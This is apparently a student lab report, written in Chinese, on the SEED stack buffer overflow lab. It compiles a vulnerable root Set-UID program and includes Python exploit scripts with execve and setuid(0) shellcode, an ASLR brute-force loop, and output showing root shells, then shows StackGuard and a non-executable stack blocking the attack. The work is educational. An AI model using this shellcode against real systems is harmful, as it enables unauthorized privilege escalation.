Lab2

实验目的：

本实验室的学习目的是获得关于缓冲区溢出漏洞的经验，通过从阶级中学到的关于脆弱性的知识付诸行动。缓冲区溢出是定义为程序试图写入超出预分配边界的数据的一种情况固定长度的缓冲区。这个漏洞可以被恶意用户用来改变程序的流控制，导致恶意代码的执行。此漏洞是由于混合存储而产生的。通过一个具有缓冲区溢出漏洞的程序，来掌握这些，

Task 1: Running Shellcode

```
[09/04/20]seed@VM:~$ gcc -z execstack -o call_shellcode call_shell
code.c
[09/04/20]seed@VM:~$
```

```
[09/04/20]seed@VM:~$ gcc -DBUF_SIZE=24 -o stack -z execstack -fno-
stack-protector stack.c
[09/04/20]seed@VM:~$ sudo chown root stack
[09/04/20]seed@VM:~$ sudo chmod 4755 stack
```

Task 2: Exploiting the Vulnerability

首先：我们在 task1 的基础上，编译 stack.c 文件，我们要使该文件成为易受攻击的文件，要使用-fno-stack-protector 和-z execstack 关闭 StackGuard 和 non-executable stack protections，然后使程序成为 root 的 Set-UID 程序。

由于原本的 stack.c 文件具有缓冲区溢出漏洞，它首先从一个名为 badfile 的文件中读取输入，然后将该输入传递到 bof()函数中的另一个缓冲区。原始输入的最大长度可以是 517 字节，但是 bof()中的缓冲区只有 BUF_SIZE 字节长，小于 517。因为 strcpy()不检查边界，所以会发生缓冲区溢出。由于这个程序是 root 拥有的 Set-UID 程序，如果普通用户利用这个缓冲区溢出漏洞可能能够获得一个 root shell，程序从一个名为 badfile 的文件中获取输入，此文件由用户控制。

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
        char buffer[BUF_SIZE];
        strcpy(buffer,str);
        return 1;
}

int main(int argc, char **argv)
{
        char str[517];
        FILE *badfile;
        char dummy[BUF_SIZE];
        memset(dummy,0,BUF_SIZE);

        badfile=fopen("badfile","r");
        fread(str,sizeof(char),517,badfile);
        bof(str);
        printf("Returned Properly\n");
        return 1;
}
```

```
[09/05/20]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protecto
r stack.c
[09/05/20]seed@VM:~$ sudo chown root stack
[09/05/20]seed@VM:~$ sudo 4755 stack
sudo: 4755: command not found
[09/05/20]seed@VM:~$ sudo chmod 4755 stack
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ rm badfile
```

其次：我们将我们写好的攻击程序 exploit.py 编译并运行，这将会生成 badfile 的内容，然后运行易受攻击程序堆栈，发现得到 root shell，进入了特权模式。

此中，我们要找到 buffer，ebp 的地址，计算出距离。然后我们计算 shellcode 的地址，写入我们 exploit.py 的程序里，这是我们利用缓冲区溢出所要的覆盖的部分。

```
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__GI__IO_fread (buf=0xbfffea77, size=0x1, count=0x205, fp=0x0)
    at iofread.c:37
37      iofread.c: No such file or directory.
gdb-peda$ p $ebp
$2 = (void *) 0xbfffea48
```

```
shellcode=(
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
"\x00"
).encode('latin-1')

content=bytearray(0x90 for i in range(517))

start=517-len(shellcode)
content[start:]=shellcode

ret=0xbfffea48+120
offset=24

content[offset:offset+4]=(ret).to_bytes(4,byteorder='little')

with open('badfile','wb')as f:
 f.write(content)
```

进入特权模式，漏洞被正确实现：

```
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambasha
re)
#
```

Task 3: Defeating dash's Countermeasure

Task3 在调用 dash 程序之前将受害进程的真实用户 ID 更改为零，可以通过在 shell 代码中执行 execve()之前调用 setuid(0)来实现 Ubuntu 16.04 中的 dash shell 会删除特权的程序。第一次执行：

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
  char *argv[2];
  argv[0]="/bin/sh";
  argv[1]=NULL;

  //setuid(0);
  execve("/bin/sh",argv,NULL);

  return 0;
}
```

```
[09/05/20]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
$
```

然后我们取消注释并再次运行程序，发现进入特权模式：

```
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
# 
```

然后在 exploit.py 中添加 4 条指令，再次重复 task2 中的攻击，进入特权模式：

```
import sys
shellcode=(
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
"\x00"
).encode('latin-1')

content=bytearray(0x90 for i in range(517))

start=517-len(shellcode)
content[start:]=shellcode

ret=0xbfffea48+120
offset=24
```

```
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ rm badfile
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
# 
```

Task4 Defeating Address Randomization

首先：使用下面的命令打开 Ubuntu 的地址随机化：

```
[09/05/20]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_spac
e=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
Segmentation fault
[09/05/20]seed@VM:~$ 
```

然后使用重复攻击易受攻击的程序，希望放入 badfile 的地址最终可以是正确的。使用 shell 脚本在无限循环中运行易受攻击程序。攻击成功，脚本将停止：
循环 5min 6sec，执行了 163009 次后命中地址，进入特权模式

```
5 minutes and 6 seconds elapsed.
The program has been running 163002 times so far.
./loop.py: line 13: 22985 Segmentation fault      ./stack
5 minutes and 6 seconds elapsed.
The program has been running 163003 times so far.
./loop.py: line 13: 22986 Segmentation fault      ./stack
5 minutes and 6 seconds elapsed.
The program has been running 163004 times so far.
./loop.py: line 13: 22987 Segmentation fault      ./stack
5 minutes and 6 seconds elapsed.
The program has been running 163005 times so far.
./loop.py: line 13: 22988 Segmentation fault      ./stack
5 minutes and 6 seconds elapsed.
The program has been running 163006 times so far.
./loop.py: line 13: 22989 Segmentation fault      ./stack
5 minutes and 6 seconds elapsed.
The program has been running 163007 times so far.
./loop.py: line 13: 22990 Segmentation fault      ./stack
5 minutes and 6 seconds elapsed.
The program has been running 163008 times so far.
./loop.py: line 13: 22991 Segmentation fault      ./stack
5 minutes and 6 seconds elapsed.
The program has been running 163009 times so far.
#
```

Task5： Turn on the StackGuard Protection

首先关闭地址随机化，在实验中，编译程序时不使用-fno-stack-protector。发现再次运行 task2 就不会进入特权模式，而是出现了缓冲区溢出错误。

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~$ sudo gcc -g -z execstack -o stack stack.c
[09/05/20]seed@VM:~$ sudo su
root@VM:/home/seed# chmod u+s stack
root@VM:/home/seed# exit
exit
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ rm badfile
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[09/05/20]seed@VM:~$
```

Task6 Turn on the Non-executable Stack Protection

首先关闭地址随机化，实验中使用 noexecstack 重新编译：
发现不能得到 shell，而是显示 Segmentation fault。

```
[09/05/20]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecst
ack stack.c
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
Segmentation fault
[09/05/20]seed@VM:~$
```

实验感想：

在本次实验中，通过对易攻击的程序对缓冲区漏洞的攻击，并由此获得 root 权限。对缓冲区溢出的问题有了更为深刻的理解，也知道了在编写程序的时候，堆栈问题的重要性。本次实验中由于前期对于堆栈中的 return address,以及 shellcode 的地址的理解不到位，导致在 task2 的 exploit.py 文件中，我们攻击程序需要获取的地址存在很多疑问。通过积极问助教和同学，将此问题解决。